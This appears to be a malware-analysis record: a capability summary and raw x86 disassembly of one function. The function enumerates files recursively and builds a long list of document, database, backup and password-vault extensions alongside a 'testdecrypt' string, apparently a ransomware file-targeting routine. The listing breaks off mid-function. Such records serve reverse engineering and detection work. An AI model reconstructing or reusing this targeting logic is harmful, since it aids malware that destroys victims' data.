Function at 0x4072b0
Capabilities:
Create thread
Enumerate files on windows
Enumerate files recursively
Set file attributes

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x443693
mov eax, dword fs:[0]
push eax
push ecx
mov eax, 0x34c0
call fcn.00442630
mov eax, dword [0x45600c]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x3324], edx
mov esi, ecx
mov dword [ebp - 0x3318], esi
mov dword [ebp - 4], 0
mov ebx, 1
mov dword [ebp - 0x3300], ebx
push 0x1f4
push 0
lea eax, [ebp - 0x2a3c]
push eax
call fcn.00429e30
push 0x1f4
push 0
lea eax, [ebp - 0x2c30]
push eax
call fcn.00429e30
add esp, 0x18
call fcn.0041e790
lea edx, [ebp - 0x2a3c]
sub edx, eax
nop dword [eax]
movzx ecx, word [eax]
mov word [edx + eax], cx
lea eax, [eax + 2]
test cx, cx
jne 0x407340
lea ecx, [ebp - 0x2a3c]
add ecx, 0xfffffffe
nop dword [eax + eax]
mov ax, word [ecx + 2]
lea ecx, [ecx + 2]
test ax, ax
jne 0x407360
mov eax, dword [str.files]
mov dword [ecx], eax
mov eax, dword [0x44d7d8]
mov dword [ecx + 4], eax
mov eax, dword [0x44d7dc]
mov dword [ecx + 8], eax
call fcn.0041e790
lea edx, [ebp - 0x2c30]
sub edx, eax
movzx ecx, word [eax]
mov word [edx + eax], cx
lea eax, [eax + 2]
test cx, cx
jne 0x407390
lea ecx, [ebp - 0x2c30]
add ecx, 0xfffffffe
nop dword [eax + eax]
mov ax, word [ecx + 2]
add ecx, 2
test ax, ax
jne 0x4073b0
mov eax, dword [str.testdecrypt]
mov dword [ecx], eax
mov eax, dword [0x44d884]
mov dword [ecx + 4], eax
mov eax, dword [0x44d888]
mov dword [ecx + 8], eax
mov eax, dword [0x44d88c]
mov dword [ecx + 0xc], eax
mov eax, dword [0x44d890]
mov dword [ecx + 0x10], eax
mov eax, dword [0x44d894]
mov dword [ecx + 0x14], eax
push ecx
lea ecx, [ebp - 0x34d0]
call fcn.0041f3f0
mov byte [ebp - 4], 1
push ecx
lea ecx, [ebp - 0x3420]
call fcn.0041f3f0
mov byte [ebp - 4], 2
movq xmm0, qword [str..dbf]
movq qword [ebp - 0x4e4], xmm0
movzx eax, word [0x44dbe8]
mov word [ebp - 0x4dc], ax
mov eax, dword [0x44dbec]
mov dword [ebp - 0x38], eax
mov eax, dword [0x44dbf0]
mov dword [ebp - 0x34], eax
xor eax, eax
mov word [ebp - 0x30], ax
movq xmm0, qword [str..arw]
movq qword [ebp - 0x14f8], xmm0
movzx eax, word [0x44dbfc]
mov word [ebp - 0x14f0], ax
movq xmm0, qword [str..txt]
movq qword [ebp - 0x2a8], xmm0
movzx eax, word [0x44dc08]
mov word [ebp - 0x2a0], ax
movq xmm0, qword [str..doc]
movq qword [ebp - 0x490], xmm0
movzx eax, word [0x44dc14]
mov word [ebp - 0x488], ax
movq xmm0, qword [str..docm]
movq qword [ebp - 0x2290], xmm0
mov eax, dword [0x44dc20]
mov dword [ebp - 0x2288], eax
xor eax, eax
mov word [ebp - 0x2284], ax
movq xmm0, qword [str..docx]
movq qword [ebp - 0x22a0], xmm0
mov eax, dword [0x44dc2c]
mov dword [ebp - 0x2298], eax
xor eax, eax
mov word [ebp - 0x2294], ax
movq xmm0, qword [str..zip]
movq qword [ebp - 0x49c], xmm0
movzx eax, word [0x44dc38]
mov word [ebp - 0x494], ax
movq xmm0, qword [str..rar]
movq qword [ebp - 0x4a8], xmm0
movzx eax, word [0x44dc44]
mov word [ebp - 0x4a0], ax
movq xmm0, qword [str..xlsx]
movq qword [ebp - 0x22b0], xmm0
mov eax, dword [0x44dc50]
mov dword [ebp - 0x22a8], eax
xor eax, eax
mov word [ebp - 0x22a4], ax
mov eax, dword [0x44dc54]
mov dword [ebp - 0x1b8], eax
mov eax, dword [0x44dc58]
mov dword [ebp - 0x1b4], eax
xor eax, eax
mov word [ebp - 0x1b0], ax
movq xmm0, qword [str..xlsb]
movq qword [ebp - 0x22c0], xmm0
mov eax, dword [0x44dc64]
mov dword [ebp - 0x22b8], eax
xor eax, eax
mov word [ebp - 0x22b4], ax
movq xmm0, qword [str..xlsm]
movq qword [ebp - 0x22d0], xmm0
mov eax, dword [0x44dc70]
mov dword [ebp - 0x22c8], eax
xor eax, eax
mov word [ebp - 0x22c4], ax
movq xmm0, qword [str..jpg]
movq qword [ebp - 0x4b4], xmm0
movzx eax, word [0x44dc7c]
mov word [ebp - 0x4ac], ax
movq xmm0, qword [str..jpe]
movq qword [ebp - 0x50], xmm0
movzx eax, word [0x44dc88]
mov word [ebp - 0x48], ax
movq xmm0, qword [str..jpeg]
movq qword [ebp - 0x2250], xmm0
mov eax, dword [0x44dc94]
mov dword [ebp - 0x2248], eax
xor eax, eax
mov word [ebp - 0x2244], ax
movq xmm0, qword [str..bmp]
movq qword [ebp - 0x1528], xmm0
movzx eax, word [0x44dca0]
mov word [ebp - 0x1520], ax
movq xmm0, qword [str..eql]
movq qword [ebp - 0x808], xmm0
movzx eax, word [0x44dcac]
mov word [ebp - 0x800], ax
movq xmm0, qword [str..sql]
movq qword [ebp - 0x218], xmm0
movzx eax, word [0x44dcb8]
mov word [ebp - 0x210], ax
movq xmm0, qword [str..adp]
movq qword [ebp - 0x634], xmm0
movzx eax, word [0x44dcc4]
mov word [ebp - 0x62c], ax
movq xmm0, qword [str..mdf]
movq qword [ebp - 0x94c], xmm0
movzx eax, word [0x44dcd0]
mov word [ebp - 0x944], ax
movq xmm0, qword [str..mdb]
movq qword [ebp - 0x940], xmm0
movzx eax, word [0x44dcdc]
mov word [ebp - 0x938], ax
movq xmm0, qword [str..odb]
movq qword [ebp - 0xa0c], xmm0
movzx eax, word [0x44dce8]
mov word [ebp - 0xa04], ax
movq xmm0, qword [str..odm]
movq qword [ebp - 0x26c], xmm0
movzx eax, word [0x44dcf4]
mov word [ebp - 0x264], ax
movq xmm0, qword [str..odp]
movq qword [ebp - 0x4c0], xmm0
movzx eax, word [0x44dd00]
mov word [ebp - 0x4b8], ax
movq xmm0, qword [str..ods]
movq qword [ebp - 0x1a0], xmm0
movzx eax, word [0x44dd0c]
mov word [ebp - 0x198], ax
movq xmm0, qword [str..pds]
movq qword [ebp - 0x4cc], xmm0
movzx eax, word [0x44dd18]
mov word [ebp - 0x4c4], ax
movq xmm0, qword [str..pdt]
movq qword [ebp - 0x4d8], xmm0
movzx eax, word [0x44dd24]
mov word [ebp - 0x4d0], ax
mov eax, dword [0x44dd28]
mov dword [ebp - 0x5c], eax
mov eax, dword [0x44dd2c]
mov dword [ebp - 0x58], eax
xor eax, eax
mov word [ebp - 0x54], ax
mov eax, dword [0x44dd30]
mov dword [ebp - 0x1c4], eax
mov eax, dword [0x44dd34]
mov dword [ebp - 0x1c0], eax
xor eax, eax
mov word [ebp - 0x1bc], ax
mov eax, dword [0x44dd38]
mov dword [ebp - 0x1d0], eax
mov eax, dword [0x44dd3c]
mov dword [ebp - 0x1cc], eax
xor eax, eax
mov word [ebp - 0x1c8], ax
movq xmm0, qword [str..cfu]
movq qword [ebp - 0x4f0], xmm0
movzx eax, word [0x44dd48]
mov word [ebp - 0x4e8], ax
movq xmm0, qword [str..mxl]
movq qword [ebp - 0x4fc], xmm0
movzx eax, word [0x44dd54]
mov word [ebp - 0x4f4], ax
movq xmm0, qword [str..epf]
movq qword [ebp - 0x508], xmm0
movzx eax, word [0x44dd60]
mov word [ebp - 0x500], ax
movq xmm0, qword [str..kdbx]
movq qword [ebp - 0x22e0], xmm0
mov eax, dword [0x44dd6c]
mov dword [ebp - 0x22d8], eax
xor eax, eax
mov word [ebp - 0x22d4], ax
movq xmm0, qword [str..erf]
movq qword [ebp - 0x16cc], xmm0
movzx eax, word [0x44dd78]
mov word [ebp - 0x16c4], ax
movq xmm0, qword [str..vrp]
movq qword [ebp - 0x514], xmm0
movzx eax, word [0x44dd84]
mov word [ebp - 0x50c], ax
movq xmm0, qword [str..grs]
movq qword [ebp - 0x520], xmm0
movzx eax, word [0x44dd90]
mov word [ebp - 0x518], ax
movq xmm0, qword [str..geo]
movq qword [ebp - 0x340], xmm0
movzx eax, word [0x44dd9c]
mov word [ebp - 0x338], ax
mov eax, dword [0x44dda0]
mov dword [ebp - 0x1dc], eax
mov eax, dword [0x44dda4]
mov dword [ebp - 0x1d8], eax
xor eax, eax
mov word [ebp - 0x1d4], ax
movq xmm0, qword [str..pff]
movq qword [ebp - 0x538], xmm0
movzx eax, word [0x44ddb0]
mov word [ebp - 0x530], ax
movq xmm0, qword [str..mft]
movq qword [ebp - 0x544], xmm0
movzx eax, word [0x44ddbc]
mov word [ebp - 0x53c], ax
movq xmm0, qword [str..efd]
movq qword [ebp - 0x550], xmm0
movzx eax, word [0x44ddc8]
mov word [ebp - 0x548], ax
movq xmm0, qword [str..3dm]
movq qword [ebp - 0x55c], xmm0
movzx eax, word [0x44ddd4]
mov word [ebp - 0x554], ax
movq xmm0, qword [str..3ds]
movq qword [ebp - 0x568], xmm0
movzx eax, word [0x44dde0]
mov word [ebp - 0x560], ax
movq xmm0, qword [str..rib]
movq qword [ebp - 0x574], xmm0
movzx eax, word [0x44ddec]
mov word [ebp - 0x56c], ax
mov eax, dword [0x44ddf0]
mov dword [ebp - 0x1e8], eax
mov eax, dword [0x44ddf4]
mov dword [ebp - 0x1e4], eax
xor eax, eax
mov word [ebp - 0x1e0], ax
movq xmm0, qword [str..max]
movq qword [ebp - 0x580], xmm0
movzx eax, word [0x44de00]
mov word [ebp - 0x578], ax
movq xmm0, qword [str..lwo]
movq qword [ebp - 0x58c], xmm0
movzx eax, word [0x44de0c]
mov word [ebp - 0x584], ax
movq xmm0, qword [str..lws]
movq qword [ebp - 0x598], xmm0
movzx eax, word [0x44de18]
mov word [ebp - 0x590], ax
movq xmm0, qword [str..m3d]
movq qword [ebp - 0x5a4], xmm0
movzx eax, word [0x44de24]
mov word [ebp - 0x59c], ax
mov eax, dword [0x44de28]
mov dword [ebp - 0x1f4], eax
mov eax, dword [0x44de2c]
mov dword [ebp - 0x1f0], eax
xor eax, eax
mov word [ebp - 0x1ec], ax
movq xmm0, qword [str..obj]
movq qword [ebp - 0x5b0], xmm0
movzx eax, word [0x44de38]
mov word [ebp - 0x5a8], ax
mov eax, dword [0x44de3c]
mov dword [ebp - 0x200], eax
movzx eax, word [0x44de40]
mov word [ebp - 0x1fc], ax
mov dword [ebp - 0x1fa], 0
movq xmm0, qword [str..x3d]
movq qword [ebp - 0x5bc], xmm0
movzx eax, word [0x44de4c]
mov word [ebp - 0x5b4], ax
movq xmm0, qword [str..c4d]
movq qword [ebp - 0x5c8], xmm0
movzx eax, word [0x44de58]
mov word [ebp - 0x5c0], ax
movq xmm0, qword [str..fbx]
movq qword [ebp - 0x5d4], xmm0
movzx eax, word [0x44de64]
mov word [ebp - 0x5cc], ax
movq xmm0, qword [str..dgn]
movq qword [ebp - 0x5e0], xmm0
movzx eax, word [0x44de70]
mov word [ebp - 0x5d8], ax
movq xmm0, qword [str..dwg]
movq qword [ebp - 0x5ec], xmm0
movzx eax, word [0x44de7c]
mov word [ebp - 0x5e4], ax
movq xmm0, qword [str..4db]
movq qword [ebp - 0x5f8], xmm0
movzx eax, word [0x44de88]
mov word [ebp - 0x5f0], ax
movq xmm0, qword [str..4dl]
movq qword [ebp - 0x604], xmm0
movzx eax, word [0x44de94]
mov word [ebp - 0x5fc], ax
movq xmm0, qword [str..4mp]
movq qword [ebp - 0x850], xmm0
movzx eax, word [0x44dea0]
mov word [ebp - 0x848], ax
movq xmm0, qword [str..abs]
movq qword [ebp - 0x610], xmm0
movzx eax, word [0x44deac]
mov word [ebp - 0x608], ax
movq xmm0, qword [str..adn]
movq qword [ebp - 0x61c], xmm0
movzx eax, word [0x44deb8]
mov word [ebp - 0x614], ax
movq xmm0, qword [str..a3d]
movq qword [ebp - 0x628], xmm0
movzx eax, word [0x44dec4]
mov word [ebp - 0x620], ax
movq xmm0, qword [str..aft]
movq qword [ebp - 0x640], xmm0
movzx eax, word [0x44ded0]
mov word [ebp - 0x638], ax
movq xmm0, qword [str..ahd]
movq qword [ebp - 0x64c], xmm0
movzx eax, word [0x44dedc]
mov word [ebp - 0x644], ax
movq xmm0, qword [str..alf]
movq qword [ebp - 0x658], xmm0
movzx eax, word [0x44dee8]
mov word [ebp - 0x650], ax
movq xmm0, qword [str..ask]
movq qword [ebp - 0x664], xmm0
movzx eax, word [0x44def4]
mov word [ebp - 0x65c], ax
movq xmm0, qword [str..awdb]
movq qword [ebp - 0x22f0], xmm0
mov eax, dword [0x44df00]
mov dword [ebp - 0x22e8], eax
xor eax, eax
mov word [ebp - 0x22e4], ax
movq xmm0, qword [str..azz]
movq qword [ebp - 0x670], xmm0
movzx eax, word [0x44df0c]
mov word [ebp - 0x668], ax
movq xmm0, qword [str..bdb]
movq qword [ebp - 0x67c], xmm0
movzx eax, word [0x44df18]
mov word [ebp - 0x674], ax
movq xmm0, qword [str..bib]
movq qword [ebp - 0xcc4], xmm0
movzx eax, word [0x44df24]
mov word [ebp - 0xcbc], ax
movq xmm0, qword [str..bnd]
movq qword [ebp - 0x688], xmm0
movzx eax, word [0x44df30]
mov word [ebp - 0x680], ax
movq xmm0, qword [str..bok]
movq qword [ebp - 0x694], xmm0
movzx eax, word [0x44df3c]
mov word [ebp - 0x68c], ax
movq xmm0, qword [str..btr]
movq qword [ebp - 0x6a0], xmm0
movzx eax, word [0x44df48]
mov word [ebp - 0x698], ax
movq xmm0, qword [str..bak]
movq qword [ebp - 0x6ac], xmm0
movzx eax, word [0x44df54]
mov word [ebp - 0x6a4], ax
movq xmm0, qword [str..cdb]
movq qword [ebp - 0x6b8], xmm0
movzx eax, word [0x44df60]
mov word [ebp - 0x6b0], ax
movq xmm0, qword [str..ckp]
movq qword [ebp - 0x6c4], xmm0
movzx eax, word [0x44df6c]
mov word [ebp - 0x6bc], ax
movq xmm0, qword [str..clkw]
movq qword [ebp - 0x2300], xmm0
mov eax, dword [0x44df78]
mov dword [ebp - 0x22f8], eax
xor eax, eax
mov word [ebp - 0x22f4], ax
movq xmm0, qword [str..cma]
movq qword [ebp - 0x6d0], xmm0
movzx eax, word [0x44df84]
mov word [ebp - 0x6c8], ax
movq xmm0, qword [str..crd]
movq qword [ebp - 0x6dc], xmm0
movzx eax, word [0x44df90]
mov word [ebp - 0x6d4], ax
movq xmm0, qword [str..dad]
movq qword [ebp - 0x6e8], xmm0
movzx eax, word [0x44df9c]
mov word [ebp - 0x6e0], ax
movq xmm0, qword [str..daf]
movq qword [ebp - 0x6f4], xmm0
movzx eax, word [0x44dfa8]
mov word [ebp - 0x6ec], ax
movq xmm0, qword [str..db3]
movq qword [ebp - 0x700], xmm0
movzx eax, word [0x44dfb4]
mov word [ebp - 0x6f8], ax
movq xmm0, qword [str..dbk]
movq qword [ebp - 0x70c], xmm0
movzx eax, word [0x44dfc0]
mov word [ebp - 0x704], ax
movq xmm0, qword [str..dbt]
movq qword [ebp - 0x718], xmm0
movzx eax, word [0x44dfcc]
mov word [ebp - 0x710], ax
movq xmm0, qword [str..dbv]
movq qword [ebp - 0x724], xmm0
movzx eax, word [0x44dfd8]
mov word [ebp - 0x71c], ax
movq xmm0, qword [str..dbx]
movq qword [ebp - 0x730], xmm0
movzx eax, word [0x44dfe4]
mov word [ebp - 0x728], ax
movq xmm0, qword [str..dcb]
movq qword [ebp - 0x73c], xmm0
movzx eax, word [0x44dff0]
mov word [ebp - 0x734], ax
movq xmm0, qword [str..dct]
movq qword [ebp - 0x748], xmm0
movzx eax, word [0x44dffc]
mov word [ebp - 0x740], ax
movq xmm0, qword [str..dcx]
movq qword [ebp - 0x754], xmm0
movzx eax, word [0x44e008]
mov word [ebp - 0x74c], ax
movq xmm0, qword [str..ddl]
movq qword [ebp - 0x760], xmm0
movzx eax, word [0x44e014]
mov word [ebp - 0x758], ax
movq xmm0, qword [str..df1]
movq qword [ebp - 0x76c], xmm0
movzx eax, word [0x44e020]
mov word [ebp - 0x764], ax
movq xmm0, qword [str..dmo]
movq qword [ebp - 0x778], xmm0
movzx eax, word [0x44e02c]
mov word [ebp - 0x770], ax
movq xmm0, qword [str..dnc]
movq qword [ebp - 0x784], xmm0
movzx eax, word [0x44e038]
mov word [ebp - 0x77c], ax
movq xmm0, qword [str..dp1]
movq qword [ebp - 0x790], xmm0
movzx eax, word [0x44e044]
mov word [ebp - 0x788], ax
movq xmm0, qword [str..dqy]
movq qword [ebp - 0x79c], xmm0
movzx eax, word [0x44e050]
mov word [ebp - 0x794], ax
movq xmm0, qword [str..dsk]
movq qword [ebp - 0x7a8], xmm0
movzx eax, word [0x44e05c]
mov word [ebp - 0x7a0], ax
movq xmm0, qword [str..dsn]
movq qword [ebp - 0x7b4], xmm0
movzx eax, word [0x44e068]
mov word [ebp - 0x7ac], ax
movq xmm0, qword [str..dta]
movq qword [ebp - 0x7c0], xmm0
movzx eax, word [0x44e074]
mov word [ebp - 0x7b8], ax
movq xmm0, qword [str..dtsx]
movq qword [ebp - 0x2310], xmm0
mov eax, dword [0x44e080]
mov dword [ebp - 0x2308], eax
xor eax, eax
mov word [ebp - 0x2304], ax
movq xmm0, qword [str..dxl]
movq qword [ebp - 0x7cc], xmm0
movzx eax, word [0x44e08c]
mov word [ebp - 0x7c4], ax
movq xmm0, qword [str..eco]
movq qword [ebp - 0x7d8], xmm0
movzx eax, word [0x44e098]
mov word [ebp - 0x7d0], ax
movq xmm0, qword [str..ecx]
movq qword [ebp - 0x7e4], xmm0
movzx eax, word [0x44e0a4]
mov word [ebp - 0x7dc], ax
movq xmm0, qword [str..edb]
movq qword [ebp - 0x7f0], xmm0
movzx eax, word [0x44e0b0]
mov word [ebp - 0x7e8], ax
movq xmm0, qword [str..emd]
movq qword [ebp - 0x7fc], xmm0
movzx eax, word [0x44e0bc]
mov word [ebp - 0x7f4], ax
movq xmm0, qword [str..fcd]
movq qword [ebp - 0x814], xmm0
movzx eax, word [0x44e0c8]
mov word [ebp - 0x80c], ax
movq xmm0, qword [str..fic]
movq qword [ebp - 0x820], xmm0
movzx eax, word [0x44e0d4]
mov word [ebp - 0x818], ax
movq xmm0, qword [str..fid]
movq qword [ebp - 0x82c], xmm0
movzx eax, word [0x44e0e0]
mov word [ebp - 0x824], ax
movq xmm0, qword [str..fil]
movq qword [ebp - 0x838], xmm0
movzx eax, word [0x44e0ec]
mov word [ebp - 0x830], ax
movq xmm0, qword [str..fm5]
movq qword [ebp - 0x844], xmm0
movzx eax, word [0x44e0f8]
mov word [ebp - 0x83c], ax
movq xmm0, qword [str..fol]
movq qword [ebp - 0x85c], xmm0
movzx eax, word [0x44e104]
mov word [ebp - 0x854], ax
movq xmm0, qword [str..fp3]
movq qword [ebp - 0x868], xmm0
movzx eax, word [0x44e110]
mov word [ebp - 0x860], ax
movq xmm0, qword [str..fp4]
movq qword [ebp - 0x874], xmm0
movzx eax, word [0x44e11c]
mov word [ebp - 0x86c], ax
movq xmm0, qword [str..fp5]
movq qword [ebp - 0x880], xmm0
movzx eax, word [0x44e128]
mov word [ebp - 0x878], ax
movq xmm0, qword [str..fp7]
movq qword [ebp - 0x88c], xmm0
movzx eax, word [0x44e134]
mov word [ebp - 0x884], ax
movq xmm0, qword [str..fpt]
movq qword [ebp - 0x898], xmm0
movzx eax, word [0x44e140]
mov word [ebp - 0x890], ax
movq xmm0, qword [str..fzb]
movq qword [ebp - 0x8a4], xmm0
movzx eax, word [0x44e14c]
mov word [ebp - 0x89c], ax
movq xmm0, qword [str..fzv]
movq qword [ebp - 0x8b0], xmm0
movzx eax, word [0x44e158]
mov word [ebp - 0x8a8], ax
movq xmm0, qword [str..gdb]
movq qword [ebp - 0x8bc], xmm0
movzx eax, word [0x44e164]
mov word [ebp - 0x8b4], ax
movq xmm0, qword [str..gwi]
movq qword [ebp - 0x8c8], xmm0
movzx eax, word [0x44e170]
mov word [ebp - 0x8c0], ax
movq xmm0, qword [str..hdb]
movq qword [ebp - 0x8d4], xmm0
movzx eax, word [0x44e17c]
mov word [ebp - 0x8cc], ax
movq xmm0, qword [str..his]
movq qword [ebp - 0x8e0], xmm0
movzx eax, word [0x44e188]
mov word [ebp - 0x8d8], ax
mov eax, dword [0x44e18c]
mov dword [ebp - 0x20c], eax
mov eax, dword [0x44e190]
mov dword [ebp - 0x208], eax
xor eax, eax
mov word [ebp - 0x204], ax
movq xmm0, qword [str..idc]
movq qword [ebp - 0x8ec], xmm0
movzx eax, word [0x44e19c]
mov word [ebp - 0x8e4], ax
movq xmm0, qword [str..ihx]
movq qword [ebp - 0x8f8], xmm0
movzx eax, word [0x44e1a8]
mov word [ebp - 0x8f0], ax
movq xmm0, qword [str..itdb]
movq qword [ebp - 0x20c0], xmm0
mov eax, dword [0x44e1b4]
mov dword [ebp - 0x20b8], eax
xor eax, eax
mov word [ebp - 0x20b4], ax
movq xmm0, qword [str..itw]
movq qword [ebp - 0x904], xmm0
movzx eax, word [0x44e1c0]
mov word [ebp - 0x8fc], ax
movq xmm0, qword [str..jtx]
movq qword [ebp - 0x910], xmm0
movzx eax, word [0x44e1cc]
mov word [ebp - 0x908], ax
movq xmm0, qword [str..kdb]
movq qword [ebp - 0x91c], xmm0
movzx eax, word [0x44e1d8]
mov word [ebp - 0x914], ax
movq xmm0, qword [str..lgc]
movq qword [ebp - 0x928], xmm0
movzx eax, word [0x44e1e4]
mov word [ebp - 0x920], ax
movq xmm0, qword [str..maq]
movq qword [ebp - 0x934], xmm0
movzx eax, word [0x44e1f0]
mov word [ebp - 0x92c], ax
movq xmm0, qword [str..mdn]
movq qword [ebp - 0x958], xmm0
movzx eax, word [0x44e1fc]
mov word [ebp - 0x950], ax
movq xmm0, qword [str..mdt]
movq qword [ebp - 0x964], xmm0
movzx eax, word [0x44e208]
mov word [ebp - 0x95c], ax
movq xmm0, qword [str..mrg]
movq qword [ebp - 0x970], xmm0
movzx eax, word [0x44e214]
mov word [ebp - 0x968], ax
movq xmm0, qword [str..mud]
movq qword [ebp - 0x97c], xmm0
movzx eax, word [0x44e220]
mov word [ebp - 0x974], ax
movq xmm0, qword [str..mwb]
movq qword [ebp - 0x988], xmm0
movzx eax, word [0x44e22c]
mov word [ebp - 0x980], ax
movq xmm0, qword [str..s3m]
movq qword [ebp - 0x994], xmm0
movzx eax, word [0x44e238]
mov word [ebp - 0x98c], ax
movq xmm0, qword [str..myd]
movq qword [ebp - 0x9a0], xmm0
movzx eax, word [0x44e244]
mov word [ebp - 0x998], ax
movq xmm0, qword [str..ndf]
movq qword [ebp - 0x9ac], xmm0
movzx eax, word [0x44e250]
mov word [ebp - 0x9a4], ax
movq xmm0, qword [str..ns2]
movq qword [ebp - 0x9b8], xmm0
movzx eax, word [0x44e25c]
mov word [ebp - 0x9b0], ax
movq xmm0, qword [str..ns3]
movq qword [ebp - 0x9c4], xmm0
movzx eax, word [0x44e268]
mov word [ebp - 0x9bc], ax
movq xmm0, qword [str..ns4]
movq qword [ebp - 0x9d0], xmm0
movzx eax, word [0x44e274]
mov word [ebp - 0x9c8], ax
movq xmm0, qword [str..nsf]
movq qword [ebp - 0x9dc], xmm0
movzx eax, word [0x44e280]
mov word [ebp - 0x9d4], ax
movq xmm0, qword [str..nv2]
movq qword [ebp - 0x9e8], xmm0
movzx eax, word [0x44e28c]
mov word [ebp - 0x9e0], ax
movq xmm0, qword [str..nyf]
movq qword [ebp - 0x9f4], xmm0
movzx eax, word [0x44e298]
mov word [ebp - 0x9ec], ax
movq xmm0, qword [str..oce]
movq qword [ebp - 0xa00], xmm0
movzx eax, word [0x44e2a4]
mov word [ebp - 0x9f8], ax
movq xmm0, qword [str..oqy]
movq qword [ebp - 0xa18], xmm0
movzx eax, word [0x44e2b0]
mov word [ebp - 0xa10], ax
movq xmm0, qword [str..ora]
movq qword [ebp - 0x52c], xmm0
movzx eax, word [0x44e2bc]
mov word [ebp - 0x524], ax
movq xmm0, qword [str..orx]
movq qword [ebp - 0xa24], xmm0
movzx eax, word [0x44e2c8]
mov word [ebp - 0xa1c], ax
movq xmm0, qword [str..owc]
movq qword [ebp - 0xa30], xmm0
movzx eax, word [0x44e2d4]
mov word [ebp - 0xa28], ax
movq xmm0, qword [str..owg]
movq qword [ebp - 0xa3c], xmm0
movzx eax, word [0x44e2e0]
mov word [ebp - 0xa34], ax
movq xmm0, qword [str..oyx]
movq qword [ebp - 0xa48], xmm0
movzx eax, word [0x44e2ec]
mov word [ebp - 0xa40], ax
movq xmm0, qword [str..p96]
movq qword [ebp - 0xa54], xmm0
movzx eax, word [0x44e2f8]
mov word [ebp - 0xa4c], ax
movq xmm0, qword [str..p97]
movq qword [ebp - 0xa60], xmm0
movzx eax, word [0x44e304]
mov word [ebp - 0xa58], ax
movq xmm0, qword [str..pan]
movq qword [ebp - 0xa6c], xmm0
movzx eax, word [0x44e310]
mov word [ebp - 0xa64], ax
movq xmm0, qword [str..pdb]
movq qword [ebp - 0xa78], xmm0
movzx eax, word [0x44e31c]
mov word [ebp - 0xa70], ax
movq xmm0, qword [str..pdm]
movq qword [ebp - 0xa84], xmm0
movzx eax, word [0x44e328]
mov word [ebp - 0xa7c], ax
movq xmm0, qword [str..phm]
movq qword [ebp - 0xa90], xmm0
movzx eax, word [0x44e334]
mov word [ebp - 0xa88], ax
movq xmm0, qword [str..pnz]
movq qword [ebp - 0xa9c], xmm0
movzx eax, word [0x44e340]
mov word [ebp - 0xa94], ax
movq xmm0, qword [str..pth]
movq qword [ebp - 0xaa8], xmm0
movzx eax, word [0x44e34c]
mov word [ebp - 0xaa0], ax
movq xmm0, qword [str..pwa]
movq qword [ebp - 0xab4], xmm0
movzx eax, word [0x44e358]
mov word [ebp - 0xaac], ax
movq xmm0, qword [str..qpx]
movq qword [ebp - 0xac0], xmm0
movzx eax, word [0x44e364]
mov word [ebp - 0xab8], ax
movq xmm0, qword [str..qry]
movq qword [ebp - 0xacc], xmm0
movzx eax, word [0x44e370]
mov word [ebp - 0xac4], ax
movq xmm0, qword [str..qvd]
movq qword [ebp - 0xad8], xmm0
movzx eax, word [0x44e37c]
mov word [ebp - 0xad0], ax
movq xmm0, qword [str..rctd]
movq qword [ebp - 0x2330], xmm0
mov eax, dword [0x44e388]
mov dword [ebp - 0x2328], eax
xor eax, eax
mov word [ebp - 0x2324], ax
movq xmm0, qword [str..rdb]
movq qword [ebp - 0xae4], xmm0
movzx eax, word [0x44e394]
mov word [ebp - 0xadc], ax
movq xmm0, qword [str..rpd]
movq qword [ebp - 0xaf0], xmm0
movzx eax, word [0x44e3a0]
mov word [ebp - 0xae8], ax
movq xmm0, qword [str..rsd]
movq qword [ebp - 0xafc], xmm0
movzx eax, word [0x44e3ac]
mov word [ebp - 0xaf4], ax
movq xmm0, qword [str..sbf]
movq qword [ebp - 0xb08], xmm0
movzx eax, word [0x44e3b8]
mov word [ebp - 0xb00], ax
movq xmm0, qword [str..sdb]
movq qword [ebp - 0xb14], xmm0
movzx eax, word [0x44e3c4]
mov word [ebp - 0xb0c], ax
movq xmm0, qword [str..sdf]
movq qword [ebp - 0xb20], xmm0
movzx eax, word [0x44e3d0]
mov word [ebp - 0xb18], ax
movq xmm0, qword [str..spq]
movq qword [ebp - 0xb2c], xmm0
movzx eax, word [0x44e3dc]
mov word [ebp - 0xb24], ax
movq xmm0, qword [str..sqb]
movq qword [ebp - 0xb38], xmm0
movzx eax, word [0x44e3e8]
mov word [ebp - 0xb30], ax
movq xmm0, qword [str..stp]
movq qword [ebp - 0xb44], xmm0
movzx eax, word [0x44e3f4]
mov word [ebp - 0xb3c], ax
movq xmm0, qword [str..str]
movq qword [ebp - 0xb50], xmm0
movzx eax, word [0x44e400]
mov word [ebp - 0xb48], ax
movq xmm0, qword [str..tcx]
movq qword [ebp - 0xb5c], xmm0
movzx eax, word [0x44e40c]
mov word [ebp - 0xb54], ax
movq xmm0, qword [str..tdt]
movq qword [ebp - 0xb68], xmm0
movzx eax, word [0x44e418]
mov word [ebp - 0xb60], ax
mov eax, dword [0x44e41c]
mov dword [ebp - 0x224], eax
mov eax, dword [0x44e420]
mov dword [ebp - 0x220], eax
xor eax, eax
mov word [ebp - 0x21c], ax
movq xmm0, qword [str..tmd]
movq qword [ebp - 0x29c], xmm0
movzx eax, word [0x44e42c]
mov word [ebp - 0x294], ax
movq xmm0, qword [str..trm]
movq qword [ebp - 0xb74], xmm0
movzx eax, word [0x44e438]
mov word [ebp - 0xb6c], ax
movq xmm0, qword [str..udb]
movq qword [ebp - 0xb80], xmm0
movzx eax, word [0x44e444]
mov word [ebp - 0xb78], ax
movq xmm0, qword [str..usr]
movq qword [ebp - 0xb8c], xmm0
movzx eax, word [0x44e450]
mov word [ebp - 0xb84], ax
movq xmm0, qword [str..v12]
movq qword [ebp - 0xb98], xmm0
movzx eax, word [0x44e45c]
mov word [ebp - 0xb90], ax
movq xmm0, qword [str..vdb]
movq qword [ebp - 0xba4], xmm0
movzx eax, word [0x44e468]
mov word [ebp - 0xb9c], ax
movq xmm0, qword [str..vpd]
movq qword [ebp - 0xbb0], xmm0
movzx eax, word [0x44e474]
mov word [ebp - 0xba8], ax
movq xmm0, qword [str..wdb]
movq qword [ebp - 0xbbc], xmm0
movzx eax, word [0x44e480]
mov word [ebp - 0xbb4], ax
movq xmm0, qword [str..wmdb]
movq qword [ebp - 0x2340], xmm0
mov eax, dword [0x44e48c]
mov dword [ebp - 0x2338], eax
xor eax, eax
mov word [ebp - 0x2334], ax
movq xmm0, qword [str..xdb]
movq qword [ebp - 0xbc8], xmm0
movzx eax, word [0x44e498]
